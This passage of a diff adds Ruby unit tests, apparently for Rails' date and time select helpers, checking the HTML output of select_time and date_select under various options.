+  def test_select_time_should_work_with_date
+    assert_nothing_raised { select_time(Date.today) }
+  end
+
+  def test_select_time_with_default_prompt
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, prompt: true)
+  end
+
+  def test_select_time_with_custom_prompt
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true,
+      prompt: { hour: "Choose hour", minute: "Choose minute", second: "Choose seconds" })
+  end
+
+  def test_select_time_with_generic_with_css_classes
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]" class="hour">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]" class="minute">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]" class="second">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, with_css_classes: true)
+  end
+
+  def test_select_time_with_custom_with_css_classes
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]" class="my-hour">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]" class="my-minute">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]" class="my-second">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, with_css_classes: { hour: "my-hour", minute: "my-minute", second: "my-second" })
+  end
+
+  def test_select_time_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n).dup
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), prefix: "date[first]", use_hidden: true)
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), time_separator: ":", prefix: "date[first]", use_hidden: true)
+  end
+
+  def test_date_select
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on")
+  end
+
+  def test_date_select_with_selected
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", selected: Date.new(2004, 07, 10))
+  end
+
+  def test_date_select_with_selected_in_hash
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}.dup
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", selected: { day: 10, month: 07, year: 2004 })
+  end
+
+  def test_date_select_with_selected_nil
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1"/>' + "\n"
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected << %{<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", include_blank: true, discard_year: true, selected: nil)
+  end
+
+  def test_date_select_without_day
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n".dup
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", order: [ :month, :year ])
+  end
+
+  def test_date_select_without_day_and_month
+    @post = Post.new
+    @post.written_on = Date.new(2004, 2, 29)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n".dup
+    expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", order: [ :year ])
+  end
+
+  def test_date_select_without_day_with_separator
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n".dup
+
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "written_on", date_separator: "/", order: [ :month, :year ])
+  end
+
+  def test_date_select_without_day_and_with_disabled_html_option
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n".dup
+
+    expected << %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
